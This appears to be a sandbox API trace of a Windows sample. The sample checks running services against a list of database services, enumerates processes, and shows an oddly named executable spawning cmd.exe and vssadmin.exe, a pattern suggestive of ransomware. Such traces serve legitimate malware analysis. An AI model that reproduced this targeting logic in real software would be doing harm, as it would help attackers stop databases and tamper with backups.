	[0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0174.419] lstrlenW (lpString="Schedule") returned 8
	[0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0174.419] lstrlenW (lpString="SecurityHealthService") returned 21
	[0174.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0174.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0174.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0174.420] lstrlenW (lpString="SENS") returned 4
	[0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0174.420] lstrlenW (lpString="ShellHWDetection") returned 16
	[0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0174.420] lstrlenW (lpString="Spooler") returned 7
	[0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0174.420] lstrlenW (lpString="StateRepository") returned 15
	[0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0174.420] lstrlenW (lpString="SysMain") returned 7
	[0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0174.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0174.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0174.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0174.420] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0174.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0174.421] lstrlenW (lpString="Themes") returned 6
	[0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0174.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0174.421] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0174.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0174.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0174.421] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0174.421] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0174.421] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0174.421] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x48c
	[0174.425] Process32FirstW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0174.425] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0174.426] lstrlenW (lpString="System") returned 6
	[0174.426] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0174.426] lstrlenW (lpString="smss.exe") returned 8
	[0174.427] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.427] lstrlenW (lpString="csrss.exe") returned 9
	[0174.427] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0174.427] lstrlenW (lpString="wininit.exe") returned 11
	[0174.427] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0174.428] lstrlenW (lpString="csrss.exe") returned 9
	[0174.428] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0174.428] lstrlenW (lpString="winlogon.exe") returned 12
	[0174.428] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0174.429] lstrlenW (lpString="services.exe") returned 12
	[0174.429] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0174.430] lstrlenW (lpString="lsass.exe") returned 9
	[0174.430] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.430] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.430] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0174.431] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0174.431] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.431] lstrlenW (lpString="svchost.exe") returned 11
	[0174.431] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.432] lstrlenW (lpString="svchost.exe") returned 11
	[0174.432] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0174.432] lstrlenW (lpString="dwm.exe") returned 7
	[0174.432] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.432] lstrlenW (lpString="svchost.exe") returned 11
	[0174.433] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.433] lstrlenW (lpString="svchost.exe") returned 11
	[0174.433] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.433] lstrlenW (lpString="svchost.exe") returned 11
	[0174.433] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.434] lstrlenW (lpString="svchost.exe") returned 11
	[0174.434] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.434] lstrlenW (lpString="svchost.exe") returned 11
	[0174.434] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.435] lstrlenW (lpString="svchost.exe") returned 11
	[0174.435] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.435] lstrlenW (lpString="svchost.exe") returned 11
	[0174.435] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.436] lstrlenW (lpString="svchost.exe") returned 11
	[0174.436] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.436] lstrlenW (lpString="svchost.exe") returned 11
	[0174.436] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.437] lstrlenW (lpString="svchost.exe") returned 11
	[0174.437] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0174.437] lstrlenW (lpString="spoolsv.exe") returned 11
	[0174.437] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.438] lstrlenW (lpString="svchost.exe") returned 11
	[0174.438] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0174.438] lstrlenW (lpString="audiodg.exe") returned 11
	[0174.438] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0174.439] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0174.439] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0174.439] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0174.439] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0174.440] lstrlenW (lpString="Memory Compression") returned 18
	[0174.440] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0174.440] lstrlenW (lpString="sihost.exe") returned 10
	[0174.440] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0174.441] lstrlenW (lpString="svchost.exe") returned 11
	[0174.441] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0174.441] lstrlenW (lpString="taskhostw.exe") returned 13
	[0174.441] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0174.441] lstrlenW (lpString="taskhostw.exe") returned 13
	[0174.442] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0174.442] lstrlenW (lpString="explorer.exe") returned 12
	[0174.442] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0174.442] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0174.443] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0174.443] lstrlenW (lpString="SearchUI.exe") returned 12
	[0174.443] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0174.443] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0174.443] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0174.444] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0174.444] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0174.444] lstrlenW (lpString="fvppjh.exe") returned 10
	[0174.444] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0174.445] lstrlenW (lpString="cmd.exe") returned 7
	[0174.445] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0174.445] lstrlenW (lpString="conhost.exe") returned 11
	[0174.445] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0174.446] lstrlenW (lpString="consent.exe") returned 11
	[0174.446] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0174.446] lstrlenW (lpString="vssadmin.exe") returned 12
	[0174.446] Process32NextW (in: hSnapshot=0x48c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0174.447] CloseHandle (hObject=0x48c) returned 1
	[0174.447] Sleep (dwMilliseconds=0x1f4) 
	[0174.995] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0520
	[0174.996] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0174.996] GetLastError () returned 0xea
	[0174.996] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0174.997] EnumServicesStatusExW (in: hSCManager=0x41c0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0174.997] CloseServiceHandle (hSCObject=0x41c0520) returned 1
	[0174.998] lstrlenW (lpString="Appinfo") returned 7
	[0174.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0174.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0174.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0174.998] lstrlenW (lpString="AppXSvc") returned 7
	[0174.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0174.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0174.998] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0174.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0174.998] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0174.998] lstrlenW (lpString="Audiosrv") returned 8
	[0174.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0174.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0174.998] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0174.999] lstrlenW (lpString="BFE") returned 3
	[0174.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0174.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0174.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0174.999] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0174.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0174.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0174.999] lstrlenW (lpString="CDPSvc") returned 6
	[0174.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0174.999] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
